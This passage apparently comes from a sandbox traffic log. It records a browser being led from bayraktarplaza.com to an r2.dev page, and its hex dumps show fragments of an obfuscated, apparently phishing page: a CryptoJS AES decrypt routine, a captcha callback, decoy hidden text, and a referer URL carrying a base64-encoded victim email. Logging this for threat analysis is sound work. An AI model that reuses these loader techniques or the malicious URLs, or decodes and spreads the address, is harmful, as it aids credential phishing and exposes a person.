gs:inherit;font-kerning:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-stretch:inherit;font-style:inherit;font-variant:inherit;font-variation-settings:inherit;font-weight:inherit;line-height:inherit;margin-bottom:0px;margin-right:0px;ma
2024-10-10 16:00:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49721	162.159.140.237	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:24 UTC	921	OUT	GET /DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html HTTP/1.1 Host: pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://bayraktarplaza.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:24 UTC	282	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:24 GMT Content-Type: text/html Content-Length: 6658 Connection: close Accept-Ranges: bytes ETag: "58ad605f2341f533c1d838d24d68ccc1" Last-Modified: Thu, 10 Oct 2024 15:44:22 GMT Server: cloudflare CF-RAY: 8d07d2b7b88d7274-EWR
2024-10-10 16:00:24 UTC	1087	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 20 09 20 3c 68 65 61 64 3e 0d 0a 0a 20 09 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 09 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 09 09 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 0a 0a 20 3c 6d 65 74 61 09 20 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 09 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 09 09 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 0a 20 20 09 3c 73 63 72 69 70 74 09 09 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 3e 09 09 09 3c 2f 73 63 72 69 Data Ascii: <html> <head> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <meta name="robots"content="noindex, nofollow"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></scri
2024-10-10 16:00:24 UTC	1369	IN	Data Raw: 37 61 30 65 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 09 74 72 61 6e 73 6c 61 74 65 28 2d 31 35 33 70 78 20 20 20 2c 09 20 2d 37 30 70 78 29 09 72 6f 74 61 74 65 28 32 38 64 65 67 29 09 09 20 7d 09 09 20 23 6c 61 62 6f 72 65 72 09 20 3e 20 09 20 2e 72 61 64 61 72 73 63 6f 70 65 09 7b 20 09 77 69 64 74 68 3a 09 09 09 32 38 37 70 78 3b 68 65 69 67 68 74 3a 09 09 37 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 09 20 09 23 31 33 38 38 64 36 3b 74 72 61 6e 73 66 6f 72 6d 3a 09 20 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 09 09 2c 09 36 33 70 78 29 09 20 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 20 7d 09 23 69 63 69 63 6c 65 09 7b 09 77 69 64 74 68 3a 20 31 33 30 70 78 3b 68 65 69 67 68 74 3a 09 20 20 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 09 09 09 Data Ascii: 7a0e0;transform:translate(-153px , -70px)rotate(28deg) } #laborer > .radarscope{ width:287px;height:71px;background: #1388d6;transform: translate(-120px,63px) rotate(-28deg) }#icicle{width: 130px;height: 40px;background:
2024-10-10 16:00:24 UTC	1369	IN	Data Raw: 72 6f 75 6e 64 3a 20 20 20 23 30 33 35 66 62 33 20 09 7d 09 20 20 2e 6c 61 63 72 69 6d 61 6c 09 20 7b 09 62 61 63 6b 67 72 6f 75 6e 64 3a 09 20 20 23 31 33 34 32 37 36 20 09 20 7d 09 23 76 61 67 75 65 20 7b 20 77 69 64 74 68 3a 09 09 31 33 30 70 78 3b 68 65 69 67 68 74 3a 20 09 31 30 37 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 20 09 20 6f 70 65 6e 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 09 35 73 20 20 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 09 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 09 20 20 2c 20 30 20 2c 20 30 2e 36 37 09 2c 09 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 09 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 Data Ascii: round: #035fb3 } .lacrimal {background: #134276 }#vague { width:130px;height: 107px;animation: opened-flap-swing 5s infinite;animation-timing-function: cubic-bezier(0.32 , 0 , 0.67,0);transform-origin: top;transform:translateY(-6
2024-10-10 16:00:24 UTC	1369	IN	Data Raw: 74 22 20 20 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 67 61 6c 61 22 3e 20 3c 2f 73 70 61 6e 3e 09 09 09 3c 61 20 09 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 4c 69 66 65 20 09 69 73 20 61 20 72 6f 61 64 3b 09 09 64 72 69 76 65 20 20 77 69 74 68 20 69 6e 74 65 6e 74 69 6f 6e 09 09 61 6e 64 20 70 75 72 70 6f 73 65 2e 3c 2f 61 3e 20 20 0d 0a 0a 09 20 09 3c 64 69 76 20 69 64 3d 22 73 61 62 6c 65 22 09 09 20 68 69 64 64 65 6e 3e 20 3c 64 69 76 09 20 69 64 3d 22 6f 62 62 6c 69 67 61 74 6f 22 3e 20 09 09 3c 64 69 76 09 69 64 3d 22 76 61 67 75 65 22 3e 09 3c 64 69 76 20 20 69 64 3d 22 6a 61 62 62 65 72 65 72 22 3e 20 09 3c 64 69 76 09 20 63 6c 61 73 73 3d 22 64 61 63 74 79 6c 69 63 22 Data Ascii: t" data-sitekey="" data-callback="gala"> </span><a style="display:none;">Life is a road;drive with intentionand purpose.</a> <div id="sable" hidden> <div id="obbligato"> <divid="vague"><div id="jabberer"> <div class="dactylic"
2024-10-10 16:00:24 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 09 20 43 72 79 70 74 6f 4a 53 2e 41 45 53 2e 64 65 63 72 79 70 74 28 61 2c 09 09 20 43 72 79 70 74 6f 4a 53 2e 50 42 4b 44 46 32 28 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e 48 65 78 2e 70 61 72 73 65 28 64 29 2c 09 20 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e 48 65 78 2e 70 61 72 73 65 28 62 29 2c 09 20 7b 68 61 73 68 65 72 3a 20 09 20 43 72 79 70 74 6f 4a 53 2e 61 6c 67 6f 2e 53 48 41 35 31 32 2c 09 20 20 6b 65 79 53 69 7a 65 3a 09 09 36 34 2f 38 2c 09 69 74 65 72 61 74 69 6f 6e 73 3a 09 39 39 39 7d 29 2c 09 7b 69 76 3a 09 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e 48 65 78 2e 70 61 72 73 65 28 63 29 7d 29 2e 74 6f 53 74 72 69 6e 67 28 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e 55 74 66 38 29 3b 0d 0a 09 7d 0d 0a 0a 0a 09 61 73 79 6e 63 09 66 75 6e Data Ascii: eturn CryptoJS.AES.decrypt(a, CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d), CryptoJS.enc.Hex.parse(b), {hasher: CryptoJS.algo.SHA512, keySize:64/8,iterations:999}),{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);}asyncfun
2024-10-10 16:00:24 UTC	95	IN	Data Raw: 61 6c 61 28 29 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 3c 21 2d 2d 09 09 20 3c 73 70 61 6e 3e 44 72 69 76 69 6e 67 09 73 79 6d 62 6f 6c 69 7a 65 73 09 09 66 72 65 65 64 6f 6d 20 69 6e 20 09 20 6d 6f 74 69 6f 6e 2e 3c 2f 73 70 61 6e 3e 09 20 20 2d 2d 3e 0d 0a 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ala()}</script> ... <span>Drivingsymbolizesfreedom in motion.</span> --></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49720	185.179.27.104	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:24 UTC	677	OUT	GET /favicon.ico HTTP/1.1 Host: bayraktarplaza.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:24 UTC	396	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Thu, 10 Oct 2024 16:20:08 GMT alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-10-10 16:00:24 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49724	104.17.24.14	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:25 UTC	589	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:25 UTC	965	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:25 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 59799 Expires: Tue, 30 Sep 2025 16:00:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IPHBxeOOD3Li5VrdLu%2F6wXZEmo5DhCf70dHNk0SeHC2rxuPnsXy9ftEJtXJ%2FoEhyjMHFRVmipNuRhFjHrimr9TctEX%2BCtXP%2Fwqb9HSQ1e1xXgOoiNs%2BV4%2FaGu4S0%2FuteA4yNN158"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d07d2bf8d814258-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:25 UTC	404	IN	Data Raw: 33 39 37 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 397b!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d Data Ascii: to&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 Data Ascii: var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 Data Ascii: parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._d
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 30 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 Data Ascii: 0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 33 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 Data Ascii: 3092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 Data Ascii: ]>>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 5d 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 Data Ascii: ]),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H
2024-10-10 16:00:25 UTC	1369	IN	Data Raw: 3d 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 Data Ascii: =i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var 